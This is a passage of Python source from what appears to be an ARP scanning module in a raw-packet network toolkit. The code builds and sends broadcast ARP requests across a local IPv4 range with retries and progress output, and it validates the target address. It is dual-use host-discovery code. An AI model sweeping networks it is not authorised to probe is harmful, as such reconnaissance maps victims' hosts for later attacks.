network_interface=self._your['network-interface'],
scapy_filter='arp',
scapy_lfilter=lambda eth: eth.dst == self._your['mac-address'])
# endregion
# region Sender
def _send(self) -> None:
"""
Send ARP requests
:return: None
"""
arp_requests: List[bytes] = list()
if self._target['ipv4-address'] is not None:
first_ip_address: str = self._target['ipv4-address']
last_ip_address: str = self._target['ipv4-address']
else:
first_ip_address: str = self._your['first-ipv4-address']
last_ip_address: str = self._your['last-ipv4-address']
index: int = 0
while True:
current_ip_address: str = str(IPv4Address(first_ip_address) + index)
index += 1
if IPv4Address(current_ip_address) > IPv4Address(last_ip_address):
break
arp_request: bytes = self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac='ff:ff:ff:ff:ff:ff',
sender_mac=self._your['mac-address'],
sender_ip=self._your['ipv4-address'],
target_mac='00:00:00:00:00:00',
target_ip=current_ip_address)
arp_requests.append(arp_request)
number_of_requests: int = len(arp_requests) * int(self._retry_number)
index_of_request: int = 0
percent_complete: int = 0
for _ in range(int(self._retry_number)):
for arp_request in arp_requests:
self._raw_send.send_packet(arp_request)
if not self._quit:
index_of_request += 1
new_percent_complete = int(float(index_of_request) / float(number_of_requests) * 100)
if new_percent_complete > percent_complete:
stdout.write('\r')
stdout.write(self._base.c_info + 'Interface: ' +
self._base.info_text(self._your['network-interface']) + ' ARP scan percentage: ' +
self._base.info_text(str(new_percent_complete) + '%'))
stdout.flush()
sleep(0.01)
percent_complete = new_percent_complete
if not self._quit:
stdout.write('\n')
# endregion
# region Check target IPv4 address
def _check_target_ip_address(self, target_ip_address: Union[None, str]) -> Union[None, str]:
try:
if target_ip_address is not None:
assert self._base.ip_address_in_range(target_ip_address,
self._your['first-ipv4-address'],
self._your['last-ipv4-address']), \
'Bad Target IPv4 address: ' + \
self._base.error_text(target_ip_address) + \
'; Target IPv4 address must be in range: ' + \
self._base.info_text(self._your['first-ipv4-address'] + ' - ' + self._your['last-ipv4-address']) + \
'; example Target IPv4 address: ' + \
self._base.info_text(self._base.get_random_ip_on_interface(self._your['network-interface']))
return target_ip_address
else:
return None
except AssertionError as Error:
self._base.print_error(Error.args[0])
exit(1)